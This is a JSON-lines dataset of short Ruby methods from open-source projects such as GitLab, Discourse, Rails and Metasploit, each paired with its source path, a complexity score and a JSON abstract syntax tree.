{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/enterprise/devise_overrides/omniauth_callbacks_controller.rb","start_line":26,"raw_source":"def omniauth_success\n    case auth_hash&.dig('provider')\n    when 'saml'\n      handle_saml_auth\n    else\n      super\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"omniauth_success\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_hash\"]},\"dig\",{\"type\":\"str\",\"children\":[\"provider\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"saml\"]},{\"type\":\"send\",\"children\":[null,\"handle_saml_auth\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"f1c4b968-caf7-4645-abe0-c941177988b1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/entities/namespace.rb","start_line":22,"raw_source":"def admin_request_for_group?(namespace, opts)\n        namespace.kind == 'group' && Ability.allowed?(opts[:current_user], :admin_group, namespace)\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"admin_request_for_group?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"kind\"]},\"==\",{\"type\":\"str\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]},{\"type\":\"sym\",\"children\":[\"admin_group\"]},{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]}]}","id":"1953daad-3a86-4832-a6c2-34895c66be12"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback_vm.rb","start_line":156,"raw_source":"def self.vm_owner(consumption, region)\n    @vm_owners ||= vms(region).each_with_object({}) { |vm, res| res[vm.id] = vm.evm_owner_name }\n    @vm_owners[consumption.resource_id] ||= consumption.resource.try(:evm_owner_name)\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"vm_owner\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"consumption\"]},{\"type\":\"arg\",\"children\":[\"region\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@vm_owners\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vms\",{\"type\":\"lvar\",\"children\":[\"region\"]}]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vm\"]},{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vm\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vm\"]},\"evm_owner_name\"]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vm_owners\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"consumption\"]},\"resource_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"consumption\"]},\"resource\"]},\"try\",{\"type\":\"sym\",\"children\":[\"evm_owner_name\"]}]}]}]}]}","id":"54bc4f76-9013-4785-9eae-2430ea5ef961"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/guardian_extensions.rb","start_line":5,"raw_source":"def can_see_summary?(target)\n      return false if !SiteSetting.ai_summarization_enabled\n\n      if target.class == Topic && target.private_message?\n        allowed =\n          SiteSetting.ai_pm_summarization_allowed_groups_map.any? do |group_id|\n            user.group_ids.include?(group_id)\n          end\n\n        return false if !allowed\n      end\n\n      has_cached_summary =\n        AiSummary.exists?(target: target, summary_type: AiSummary.summary_types[:complete])\n      return has_cached_summary if user.nil?\n\n      has_cached_summary || can_request_summary?\n    end","complexity_score":30.5,"ast_json":"{\"type\":\"def\",\"children\":[\"can_see_summary?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_summarization_enabled\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"class\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"private_message?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"allowed\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_pm_summarization_allowed_groups_map\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"group_ids\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"group_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"has_cached_summary\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiSummary\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"summary_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiSummary\"]},\"summary_types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"complete\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_cached_summary\"]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_cached_summary\"]},{\"type\":\"send\",\"children\":[null,\"can_request_summary?\"]}]}]}]}","id":"25e763ab-a3bd-4812-89e8-7a61b1c0ac56"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/create_service.rb","start_line":61,"raw_source":"def invites_from_params\n      # String, Nil, Array, Integer\n      users = param_to_array(params[:user_id] || params[:username])\n      if params.key?(:username)\n        User.by_username(users).pluck_primary_key\n      else\n        users.to_a\n      end\n    end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"invites_from_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[null,\"param_to_array\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"by_username\",{\"type\":\"lvar\",\"children\":[\"users\"]}]},\"pluck_primary_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"to_a\"]}]}]}]}","id":"a20a3c83-9dd2-4603-a2c3-ee578edf0816"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/test/test_helper.rb","start_line":128,"raw_source":"def method_missing(name, *args, &block)\n    if response && response.respond_to?(name)\n      response.send(name, *args, &block)\n    else\n      super\n    end\n  rescue Rack::Test::Error\n    super\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Test\"]},\"Error\"]}]},null,{\"type\":\"zsuper\",\"children\":[]}]},null]}]}","id":"b508e78a-7c1a-4c09-a70b-6e0cb53ddab0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects/error_tracking_helper.rb","start_line":36,"raw_source":"def show_integrated_tracking_disabled_alert?(project)\n    return false if ::Feature.enabled?(:integrated_error_tracking, project)\n\n    integrated_client_enabled?(project)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"show_integrated_tracking_disabled_alert?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"integrated_error_tracking\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"integrated_client_enabled?\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}","id":"162fb82b-404b-4a69-b995-149df0ac55a2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/server.rb","start_line":141,"raw_source":"def mount(root, handler, long_call = false, *args)\n    resources[root] = [ handler, long_call, args ]\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"mount\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"root\"]},{\"type\":\"arg\",\"children\":[\"handler\"]},{\"type\":\"optarg\",\"children\":[\"long_call\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"root\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handler\"]},{\"type\":\"lvar\",\"children\":[\"long_call\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"a2b3e879-5732-4b68-94f4-ecf4919c49df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/lib/gitlab/orchestrator/lib/deployment/configurations/_base.rb","start_line":88,"raw_source":"def kubeclient\n            @kubeclient ||= Kubectl::Client.new(namespace)\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"kubeclient\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@kubeclient\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kubectl\"]},\"Client\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"namespace\"]}]}]}]}","id":"c3177a6c-3fc5-4b2e-b966-ae3eec27e022"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/bitbucket_server_import/importers/notes_importer.rb","start_line":105,"raw_source":"def id_for_already_processed_cache(object)\n          # :iid is used for the `import_notes_in_batch` which uses `merge_request` as the `object`\n          # it can be cleaned up after `import_notes_in_batch` is removed\n          object.try(:iid) || generate_activity_key(object)\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"id_for_already_processed_cache\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"try\",{\"type\":\"sym\",\"children\":[\"iid\"]}]},{\"type\":\"send\",\"children\":[null,\"generate_activity_key\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]}","id":"d0e204af-c89f-47d0-8dbb-daedb0c051e0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/task_helpers.rb","start_line":110,"raw_source":"def run_command!(command)\n      output, status = Gitlab::Popen.popen(command)\n\n      raise Gitlab::TaskFailedError, output unless status == 0\n\n      output\n    end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run_command!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\"]},{\"type\":\"lvasgn\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Popen\"]},\"popen\",{\"type\":\"lvar\",\"children\":[\"command\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"TaskFailedError\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}","id":"26935351-ecbb-4d4a-8c60-40e95307d67b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":1529,"raw_source":"def test_hash_condition_find_nil_with_aggregate_having_one_mapping\n    assert_nil customers(:zaphod).gps_location\n    found_customer = Customer.where(gps_location: nil, name: customers(:zaphod).name).first\n    assert_equal customers(:zaphod), found_customer\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hash_condition_find_nil_with_aggregate_having_one_mapping\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"zaphod\"]}]},\"gps_location\"]}]},{\"type\":\"lvasgn\",\"children\":[\"found_customer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gps_location\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"zaphod\"]}]},\"name\"]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"zaphod\"]}]},{\"type\":\"lvar\",\"children\":[\"found_customer\"]}]}]}]}","id":"7f873dca-4a58-4f53-b3a8-f855e9df2a09"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/file/artifact.rb","start_line":14,"raw_source":"def initialize(params, context)\n              @location = params[:artifact]\n              @job_name = params[:job]\n\n              super\n            end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@location\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"artifact\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@job_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"job\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"da50f69c-584c-4c09-83f2-4bf85266cd4b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/gitlab/github_import/stage/import_attachments_worker.rb","start_line":49,"raw_source":"def move_to_next_stage(project, waiters = {})\n          AdvanceStageWorker.perform_async(\n            project.id,\n            waiters.deep_stringify_keys,\n            'protected_branches'\n          )\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"move_to_next_stage\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"optarg\",\"children\":[\"waiters\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AdvanceStageWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"waiters\"]},\"deep_stringify_keys\"]},{\"type\":\"str\",\"children\":[\"protected_branches\"]}]}]}","id":"0b416506-5429-4de1-a81b-c2955f2e671f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/projects/phase_component.rb","start_line":35,"raw_source":"def initialize(phase:, **)\n      @phase = phase\n\n      super(**)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"phase\"]},{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@phase\",{\"type\":\"lvar\",\"children\":[\"phase\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"forwarded_kwrestarg\",\"children\":[]}]}]}]}]}","id":"40b824df-175b-4f44-8631-6a855114c845"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cluster/lifecycle_events.rb","start_line":86,"raw_source":"def on_worker_start(&block)\n          if in_clustered_puma?\n            # Defer block execution\n            (@worker_start_hooks ||= []) << block\n          else\n            yield\n          end\n        end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_worker_start\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_clustered_puma?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@worker_start_hooks\"]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"block\"]}]},{\"type\":\"yield\",\"children\":[]}]}]}","id":"72fc7364-12a4-4282-8130-05ce87440a2a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/stages/windows/vncinject.rb","start_line":30,"raw_source":"def library_path\n    File.join(Msf::Config.data_directory, 'vncdll.x86.dll')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"library_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"vncdll.x86.dll\"]}]}]}","id":"6d5afc2a-f60e-4a8a-bc18-29b249fc5e02"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline.rb","start_line":1187,"raw_source":"def latest_builds_with_artifacts\n      # We purposely cast the builds to an Array here. Because we always use the\n      # rows if there are more than 0 this prevents us from having to run two\n      # queries: one to get the count and one to get the rows.\n      @latest_builds_with_artifacts ||= builds.latest.with_artifacts_not_expired.to_a\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"latest_builds_with_artifacts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@latest_builds_with_artifacts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"builds\"]},\"latest\"]},\"with_artifacts_not_expired\"]},\"to_a\"]}]}]}","id":"5ad31952-ccb1-453a-9baf-a51fa5e5c88a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/api_key_serializer.rb","start_line":18,"raw_source":"def include_user_id?\n    !object.user_id.nil?\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_user_id?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user_id\"]},\"nil?\"]},\"!\"]}]}","id":"024b4123-917e-45a1-b497-5af4998b8f0f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/contracts/storages/storages/create_contract.rb","start_line":40,"raw_source":"def creator_must_be_user\n        unless creator == user\n          errors.add(:creator, :invalid)\n        end\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"creator_must_be_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"creator\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"user\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"creator\"]},{\"type\":\"sym\",\"children\":[\"invalid\"]}]}]}]}","id":"fc40be57-bb46-469c-a651-0048fa5791a8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/kubernetes/create_or_update_namespace_service.rb","start_line":6,"raw_source":"def initialize(cluster:, kubernetes_namespace:)\n        @cluster = cluster\n        @kubernetes_namespace = kubernetes_namespace\n        @platform = cluster.platform\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"cluster\"]},{\"type\":\"kwarg\",\"children\":[\"kubernetes_namespace\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cluster\",{\"type\":\"lvar\",\"children\":[\"cluster\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@kubernetes_namespace\",{\"type\":\"lvar\",\"children\":[\"kubernetes_namespace\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@platform\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cluster\"]},\"platform\"]}]}]}]}","id":"dc6e1a2c-aa55-4ac0-9261-a0b5409c932c"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/converters/discourse/steps/topic_allowed_users.rb","start_line":24,"raw_source":"def process_item(item)\n      IntermediateDB::TopicAllowedUser.create(\n        topic_id: item[:topic_id],\n        user_id: item[:user_id],\n        created_at: item[:created_at],\n      )\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IntermediateDB\"]},\"TopicAllowedUser\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]}]}]}]}","id":"2f4d4a60-4778-4058-9a89-c1d0c9b9520e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/notify_service.rb","start_line":194,"raw_source":"def filtered_by_not_followers_policy?\n      @policy.filter_not_followers? && not_follower?\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filtered_by_not_followers_policy?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@policy\"]},\"filter_not_followers?\"]},{\"type\":\"send\",\"children\":[null,\"not_follower?\"]}]}]}","id":"b09bb46a-50b1-4be6-a9c2-d49a8c1a25eb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_one_associations_test.rb","start_line":81,"raw_source":"def test_can_marshal_has_one_association_with_nil_target\n    firm = Firm.new\n    assert_nothing_raised do\n      assert_equal firm.attributes, Marshal.load(Marshal.dump(firm)).attributes\n    end\n\n    firm.account\n    assert_nothing_raised do\n      assert_equal firm.attributes, Marshal.load(Marshal.dump(firm)).attributes\n    end\n  end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_can_marshal_has_one_association_with_nil_target\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"load\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"firm\"]}]}]},\"attributes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"account\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"load\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"firm\"]}]}]},\"attributes\"]}]}]}]}]}","id":"5a589116-2f4f-474e-ba12-648f7171e875"}
